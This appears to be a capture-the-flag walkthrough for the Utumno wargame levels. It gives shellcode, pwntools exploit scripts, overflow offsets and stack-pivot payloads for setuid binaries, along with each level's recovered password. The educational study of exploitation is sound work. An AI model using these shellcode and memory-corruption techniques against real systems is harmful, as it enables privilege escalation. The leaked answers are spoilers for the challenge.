Level 0: The binary is exec-only (no read permission). Calls
puts() with the password string embedded in
.rodata. Use LD_PRELOAD to hook
puts() and dump the binary's data section from within the
process:
# Build the shellcode, verify it has no nulls or / $ python3 -c " from pwn import *; context.arch='i386' sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80') import sys; sys.stdout.buffer.write(sc) " | xxd | head -1 # Should show no 00 or 2f bytes
# Set up the directory: symlink to /bin/sh, shellcode as filename $ mkdir /tmp/x $ ln -sf /bin/sh /tmp/x/code $ python3 -c " import sys, os; from pwn import *; context.arch='i386' sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80') # Create file with raw shellcode bytes as filename (must be bytes path) fd = os.open(b'/tmp/x/sh_' + sc, os.O_CREAT | os.O_WRONLY); os.close(fd) " $ /utumno/utumno1 /tmp/x $ cat /etc/utumno_pass/utumno2
The shellcode does setreuid(16002,16002) (utumno2 UID =
0x3e82) then execve("code", ["code"], NULL) where "code" is
a symlink to /bin/sh. The binary's run() calls
chdir(argv[1]) before executing the shellcode, so the
relative path "code" resolves correctly under /tmp/x/.
RdUzprHKSm
level 2 → level 3
Level 2: Binary checks argc == 0 then does
strcpy(local_buf, envp[9]). Need argc == 0 via
execve(path, NULL, envp). The 10th envp entry
(envp[9]) overflows the 12-byte buffer, overwriting saved
EBP and return address. Put NOP sled + shellcode in an earlier envp
entry and point the return address there.
Write a Python script using pwntools + ctypes to call
execve() with crafted envp:
index 8: NOP×52 + shellcode (return address points
here)
index 9: "AAAA×4" + p32(ret_addr) — overflow data,
strcpy'd into buffer
Find the NOP sled address in GDB, update ret_addr, then
run:
1 2 3
$ python3 exploit.py $ id $ cat /etc/utumno_pass/utumno3
h3kVKJZuid
level 3 → level 4
Level 3: Byte-by-byte return address overwrite. Binary reads pairs of
bytes (position, value) via getchar() in a loop. The
position byte is XOR'd with (iteration * 3) before being
used as an offset from [ebp - 0x24] (or
[ebp - 0x20] on the current binary version — check the
offset with GDB). Need to compute position bytes that target EIP after
the XOR transform.
The loop runs up to 24 iterations. We send 4 pairs for the 4 bytes of
the return address, then fill remaining slots with harmless writes.
Shellcode goes in EGG environment variable with a NOP
sled. Find the sled address with GDB.
Level 4: Integer overflow in memcpy(). Arg1 is converted
with atoi(), checked as 16-bit ≤ 63, but the actual
memcpy size uses the full 32-bit value. Pass
65536 as arg1 → 16-bit truncation yields 0 (≤ 63), but
memcpy copies 65536 bytes.
Offset to EIP: 65286 bytes. Put NOP sled + shellcode in the buffer
itself (second argument), with return address pointing into the NOP
sled.
# NOP address (find with GDB; 0xfffddd2a on gibson-1) NOP_ADDR = 0xfffddd2a payload += struct.pack('<I', NOP_ADDR) # Pad to fill 65536 bytes (matches the overflow size via arg1) payload += b'\x90' * (65536 - len(payload))
# Pass payload as argv[2] directly (no shell byte-corruption) subprocess.run(['/utumno/utumno4', '65536', payload])
1
$ python3 exploit.py
vY134qxapL
level 5 → level 6
Level 5: Requires argc == 0 (or argc == 1
with argv[0][0] == 0). Accesses argv[10] which
equals envp[9] (since argv[0]=NULL for argc=0). The
hihi() function does strlen(envp[9]); if >
19 chars, uses strncpy(buf, envp[9], 20) overwriting
12-byte buffer + saved EBP + return address. Shellcode goes in
envp[8].
Critical: On this server,
execve(path, NULL, envp) sets argc=1 with
argv[0]="". So argv[10] = envp[8], not
envp[9]. Need to swap: envp[8] = overflow
data, envp[9] = shellcode with NOP sled.
Level 6: Table-based key-value store with 3 args: position (base10),
value (base16), description (string). A write at
[ebp + pos*4 - 0x30] with position = -1 overwrites the
malloc pointer at [ebp - 0x34]. Then
strcpy(corrupted_malloc_ptr, argv[3]) copies description to
the overwritten address — a controlled write to anywhere.
Attack: Position -1 overwrites the
malloc pointer at [ebp - 0x34] with the return
address as an integer. Then strcpy(corrupted_ptr, argv[3])
copies the packed shellcode address to the return slot — hijacking
EIP.
Write primitive chain:
[ebp - 0x34] = ret_addr via the table write (pos=-1,
value=0xffffda9c)
strcpy(0xffffda9c, argv[3]) — writes 4 bytes of packed
NOP address to the return slot
Function returns → EIP = NOP sled in EGG → shellcode
# Find these on the server via GDB (varies per environment): # EBP ≈ 0xffffda98 → RET at 0xffffda9c # NOP sled in EGG ≈ 0xffffddb0 ret_addr_loc = 0xffffda9c# write target: return slot nop_addr = 0xffffddb0# shellcode landing zone in EGG
argv = (c_char_p * 4)() argv[0] = b'/utumno/utumno6' argv[1] = b'-1' argv[2] = f'{ret_addr_loc:#x}'.encode() # overwrite malloc ptr → ret addr argv[3] = struct.pack('<I', nop_addr) # strcpy'd to ret slot
Address finding: Use GDB on the server to get EBP
and NOP location. GDB vs non-GDB stack shift is ~0x60 on gibson-1 (from
extra env vars GDB adds). Run the exploit directly (not in GDB) with
addresses found via GDB + known offset.
VHOuCx7iA5
level 7 → utumno8
Level 7: Stack BOF with setjmp/longjmp.
Binary allocates a 288-byte buffer at [ebp-0x120], a
jmp_buf at [ebp-0xa0] (128 bytes into buffer),
calls _setjmp, strcpy from argv[1], then
longjmp.
glibc 2.39 PTR_MANGLE: longjmp uses
pointer mangling on ESP and EIP (XOR with thread-local secret + rotate
left 9). Only EBP is stored/restored raw. Direct EIP overwrite via
jmp_buf doesn't work.
Strategy: Overwrite jmp_buf[3] (EBP,
NOT mangled) at buffer offset 140 with the buffer address. After longjmp
restores EBP = buffer_addr, the leave; ret sequence at
vuln+84 pivots there.
Payload (144 bytes, null at byte 144 preserves
mangled ESP/EIP):
1 2 3 4 5 6 7 8
buf[0-3]: junk (popped into EBP by leave) buf[4-7]: buf_addr + 8 (popped into EIP by ret) buf[8-127]: shellcode + NOP padding (pwntools generates ~90 bytes) buf[128-131]: EBX (any) buf[132-135]: ESI (any) buf[136-139]: EDI (any) buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot) null at 144
Two critical details:
Null-free shellcode: The shellcode must NOT contain
null bytes (strcpy stops at the first null). Use
mov bl, val; mov bh, val instead of
mov ebx, val32 which embeds nulls in the high bytes.
Avoid /bin/sh: Dash drops EUID to RUID on startup
(privilege sanitization). Use
execve("/bin/cat", ["/bin/cat", "/etc/utumno_pass/utumno8", NULL], NULL)
instead — no shell, no privilege drop.
Buffer address finding: Since
randomize_va_space=0 but GDB subtly shifts the stack, use a
test shellcode (exit(42)) to brute-force the address. On
gibson-1 with full SSH environment, buffer =
0xffffda2c.